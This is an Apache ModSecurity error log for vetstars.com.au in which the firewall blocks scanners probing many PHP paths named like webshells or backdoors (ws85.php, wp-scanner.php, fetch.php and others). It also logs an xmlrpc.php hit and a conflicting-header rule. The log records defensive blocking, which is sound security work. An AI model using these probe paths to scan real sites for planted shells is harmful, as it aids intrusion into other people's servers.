[Sun Mar 29 19:01:39.306557 2026] [:error] [pid 32257:tid 32338] [client 51.103.28.129:43571] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "ackGkyE3TArOFrUtgWrdUQAAAJQ"]
[Sun Mar 29 19:01:40.193628 2026] [:error] [pid 23250:tid 23254] [client 51.103.28.129:39376] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "ackGlJxrpj-dQjy1cvro5AAAAkI"]
[Sun Mar 29 19:01:41.230672 2026] [:error] [pid 23168:tid 23207] [client 51.103.28.129:50508] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php/admin.php"] [unique_id "ackGlWP8p0yRL8ot_29rJwAAAgo"]
[Sun Mar 29 19:01:42.476366 2026] [:error] [pid 23168:tid 23213] [client 51.103.28.129:32287] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php/admin.php"] [unique_id "ackGlmP8p0yRL8ot_29rMAAAAhA"]
[Sun Mar 29 19:01:43.850950 2026] [:error] [pid 23284:tid 23287] [client 51.103.28.129:39386] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php/admin.php"] [unique_id "ackGl4zBujdPHsq7wyQzbgAAAoE"]
[Sun Mar 29 19:01:44.802193 2026] [:error] [pid 32255:tid 32309] [client 51.103.28.129:51593] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php/admin.php"] [unique_id "ackGmGnfn-AtRoMbquys1gAAAFI"]
[Sun Mar 29 19:01:45.521938 2026] [:error] [pid 23168:tid 23199] [client 51.103.28.129:42011] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/19.php"] [unique_id "ackGmWP8p0yRL8ot_29rgwAAAgI"]
[Sun Mar 29 19:01:46.487153 2026] [:error] [pid 23284:tid 23297] [client 51.103.28.129:23454] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/19.php"] [unique_id "ackGmozBujdPHsq7wyQzeQAAAos"]
[Sun Mar 29 19:01:47.216678 2026] [:error] [pid 32257:tid 32334] [client 51.103.28.129:16207] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/19.php"] [unique_id "ackGmyE3TArOFrUtgWrd1gAAAJA"]
[Sun Mar 29 19:01:47.998818 2026] [:error] [pid 32257:tid 32336] [client 51.103.28.129:60693] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/19.php"] [unique_id "ackGmyE3TArOFrUtgWrd2gAAAJI"]
[Sun Mar 29 19:01:49.284844 2026] [:error] [pid 32257:tid 32336] [client 51.103.28.129:17710] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ackGnSE3TArOFrUtgWrd5gAAAJI"]
[Sun Mar 29 19:01:50.485993 2026] [:error] [pid 32255:tid 32292] [client 51.103.28.129:52145] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ackGnmnfn-AtRoMbquys2gAAAEE"]
[Sun Mar 29 19:01:51.558407 2026] [:error] [pid 23168:tid 23210] [client 51.103.28.129:53593] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ackGn2P8p0yRL8ot_29riwAAAg0"]
[Sun Mar 29 19:01:52.174767 2026] [:error] [pid 23284:tid 23310] [client 51.103.28.129:41999] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ackGoIzBujdPHsq7wyQzjwAAApg"]
[Sun Mar 29 19:01:53.000970 2026] [:error] [pid 23284:tid 23309] [client 51.103.28.129:42433] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa2.php"] [unique_id "ackGoIzBujdPHsq7wyQzlgAAApc"]
[Sun Mar 29 19:01:54.499379 2026] [:error] [pid 32254:tid 32279] [client 51.103.28.129:45781] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa2.php"] [unique_id "ackGoqug2IHuyGgCTn9LmQAAAA8"]
[Sun Mar 29 19:01:55.112868 2026] [:error] [pid 32255:tid 32291] [client 51.103.28.129:42450] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa2.php"] [unique_id "ackGo2nfn-AtRoMbquys4wAAAEA"]
[Sun Mar 29 19:01:55.783665 2026] [:error] [pid 23167:tid 23185] [client 51.103.28.129:45788] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa2.php"] [unique_id "ackGoxIAHJCFaHff3_eZcAAAAc8"]
[Sun Mar 29 20:25:55.173694 2026] [:error] [pid 32254:tid 32266] [client 187.49.186.156:60546] [client 187.49.186.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.49.186.156, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ackaU6ug2IHuyGgCTn9S9QAAAAI"]
[Sun Mar 29 21:41:52.340575 2026] [:error] [pid 23250:tid 23266] [client 43.153.123.4:55660] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acksIJxrpj-dQjy1cvoCWQAAAk4"]
[Sun Mar 29 22:22:32.569190 2026] [:error] [pid 23167:tid 23178] [client 52.242.135.164:60997] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "ack1qBIAHJCFaHff3_fIowAAAcg"]
[Sun Mar 29 22:22:33.572211 2026] [:error] [pid 32359:tid 32379] [client 52.242.135.164:46603] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "ack1qQMb8G3UzfQP3WgzggAAANI"]
[Sun Mar 29 22:22:34.469879 2026] [:error] [pid 32255:tid 32315] [client 52.242.135.164:33740] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "ack1qmnfn-AtRoMbquz7egAAAFg"]
[Sun Mar 29 22:22:35.551516 2026] [:error] [pid 32255:tid 32299] [client 52.242.135.164:20564] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "ack1q2nfn-AtRoMbquz7gAAAAEg"]
[Sun Mar 29 22:22:37.528679 2026] [:error] [pid 23284:tid 23300] [client 52.242.135.164:64794] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awh.php"] [unique_id "ack1rYzBujdPHsq7wyS3eQAAAo4"]
[Sun Mar 29 22:22:38.977606 2026] [:error] [pid 32257:tid 32333] [client 52.242.135.164:42483] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awh.php"] [unique_id "ack1riE3TArOFrUtgWpFkQAAAI8"]
[Sun Mar 29 22:22:42.094820 2026] [:error] [pid 23137:tid 23145] [client 52.242.135.164:65199] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awh.php"] [unique_id "ack1shaWQa7LdZ_qGFYAdgAAAYY"]
[Sun Mar 29 22:22:43.063123 2026] [:error] [pid 32257:tid 32324] [client 52.242.135.164:21841] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awh.php"] [unique_id "ack1syE3TArOFrUtgWpFqgAAAIY"]
[Sun Mar 29 22:22:43.755321 2026] [:error] [pid 32257:tid 32339] [client 52.242.135.164:46631] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/24.php"] [unique_id "ack1syE3TArOFrUtgWpFrQAAAJU"]
[Sun Mar 29 22:22:44.861612 2026] [:error] [pid 32257:tid 32332] [client 52.242.135.164:37243] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/24.php"] [unique_id "ack1tCE3TArOFrUtgWpFswAAAI4"]
[Sun Mar 29 22:22:46.403620 2026] [:error] [pid 32257:tid 32334] [client 52.242.135.164:30158] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/24.php"] [unique_id "ack1tiE3TArOFrUtgWpFvQAAAJA"]
[Sun Mar 29 22:22:47.827756 2026] [:error] [pid 32257:tid 32329] [client 52.242.135.164:20604] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/24.php"] [unique_id "ack1tyE3TArOFrUtgWpFwgAAAIs"]
[Sun Mar 29 22:22:49.801163 2026] [:error] [pid 8818:tid 8840] [client 52.242.135.164:36526] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zz8.php"] [unique_id "ack1uSCDvotZNSF0FBrmVQAAAVI"]
[Sun Mar 29 22:22:50.924075 2026] [:error] [pid 32255:tid 32301] [client 52.242.135.164:33700] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zz8.php"] [unique_id "ack1umnfn-AtRoMbquz7qQAAAEo"]
[Sun Mar 29 22:22:52.832274 2026] [:error] [pid 32359:tid 32379] [client 52.242.135.164:65211] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zz8.php"] [unique_id "ack1vAMb8G3UzfQP3WgziQAAANI"]
[Sun Mar 29 22:22:53.944527 2026] [:error] [pid 8818:tid 8842] [client 52.242.135.164:37189] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zz8.php"] [unique_id "ack1vSCDvotZNSF0FBrmWwAAAVQ"]
[Sun Mar 29 22:22:55.020428 2026] [:error] [pid 32359:tid 32380] [client 52.242.135.164:46653] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/feokc.php"] [unique_id "ack1vwMb8G3UzfQP3WgzjwAAANM"]
[Sun Mar 29 22:22:56.203624 2026] [:error] [pid 8818:tid 8843] [client 52.242.135.164:64827] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/feokc.php"] [unique_id "ack1wCCDvotZNSF0FBrmZgAAAVU"]
[Sun Mar 29 22:22:57.324147 2026] [:error] [pid 23168:tid 23209] [client 52.242.135.164:39997] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/feokc.php"] [unique_id "ack1wWP8p0yRL8ot_2-nVwAAAgw"]
[Sun Mar 29 22:22:59.445618 2026] [:error] [pid 32359:tid 32367] [client 52.242.135.164:36489] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/feokc.php"] [unique_id "ack1wwMb8G3UzfQP3WgzkQAAAMY"]
[Sun Mar 29 22:23:02.230435 2026] [:error] [pid 32257:tid 32330] [client 52.242.135.164:20555] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "ack1xiE3TArOFrUtgWpF5wAAAIw"]
[Sun Mar 29 22:23:04.069574 2026] [:error] [pid 8818:tid 8822] [client 52.242.135.164:42450] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "ack1yCCDvotZNSF0FBrmdgAAAUA"]
[Sun Mar 29 22:23:06.724119 2026] [:error] [pid 32255:tid 32293] [client 52.242.135.164:55143] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "ack1ymnfn-AtRoMbquz7xwAAAEI"]
[Sun Mar 29 22:23:10.063072 2026] [:error] [pid 32257:tid 32340] [client 52.242.135.164:65215] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "ack1ziE3TArOFrUtgWpGEgAAAJY"]
[Sun Mar 29 22:23:11.206587 2026] [:error] [pid 23250:tid 23260] [client 52.242.135.164:39990] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/phpmini.php"] [unique_id "ack1z5xrpj-dQjy1cvoKUAAAAkg"]
[Sun Mar 29 22:23:12.924497 2026] [:error] [pid 23137:tid 23143] [client 52.242.135.164:46654] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/phpmini.php"] [unique_id "ack10BaWQa7LdZ_qGFYAlAAAAYQ"]
[Sun Mar 29 22:25:49.286697 2026] [:error] [pid 8818:tid 8836] [client 52.242.135.164:17628] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "ack2bSCDvotZNSF0FBrnEgAAAU4"]
[Sun Mar 29 22:25:50.741708 2026] [:error] [pid 23284:tid 23299] [client 52.242.135.164:31706] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "ack2bozBujdPHsq7wyS6CwAAAo0"]
[Sun Mar 29 22:25:51.709564 2026] [:error] [pid 32255:tid 32291] [client 52.242.135.164:21234] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "ack2b2nfn-AtRoMbquz82wAAAEA"]
[Sun Mar 29 22:25:52.943511 2026] [:error] [pid 23284:tid 23290] [client 52.242.135.164:23092] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "ack2cIzBujdPHsq7wyS6EQAAAoQ"]
[Sun Mar 29 22:25:54.182818 2026] [:error] [pid 32255:tid 32315] [client 52.242.135.164:51461] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws82.php"] [unique_id "ack2cmnfn-AtRoMbquz85gAAAFg"]
[Sun Mar 29 22:25:54.959834 2026] [:error] [pid 32359:tid 32381] [client 52.242.135.164:2966] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws82.php"] [unique_id "ack2cgMb8G3UzfQP3WgzxwAAANQ"]
[Sun Mar 29 22:25:55.499782 2026] [:error] [pid 32257:tid 32337] [client 52.242.135.164:2570] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws82.php"] [unique_id "ack2cyE3TArOFrUtgWpHlgAAAJM"]
[Sun Mar 29 22:25:56.252495 2026] [:error] [pid 32255:tid 32300] [client 52.242.135.164:2577] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws82.php"] [unique_id "ack2dGnfn-AtRoMbquz87QAAAEk"]
[Sun Mar 29 22:25:57.773475 2026] [:error] [pid 23284:tid 23301] [client 52.242.135.164:51494] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws81.php"] [unique_id "ack2dYzBujdPHsq7wyS6GgAAAo8"]
[Sun Mar 29 22:25:58.683931 2026] [:error] [pid 8818:tid 8834] [client 52.242.135.164:2613] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws81.php"] [unique_id "ack2diCDvotZNSF0FBrnGQAAAUw"]
